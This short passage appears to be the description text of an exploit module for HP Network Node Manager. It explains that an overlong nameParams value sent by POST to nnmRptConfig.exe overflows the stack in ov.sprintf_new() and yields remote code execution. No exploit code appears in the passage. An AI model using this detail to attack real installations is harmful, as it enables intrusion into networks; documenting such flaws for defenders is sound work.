        This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
        A remote user can send a long string data to the nameParams parameter via
        a POST request, which causes an overflow on the stack when function
        ov.sprintf_new() is used, and gain arbitrary code execution.'
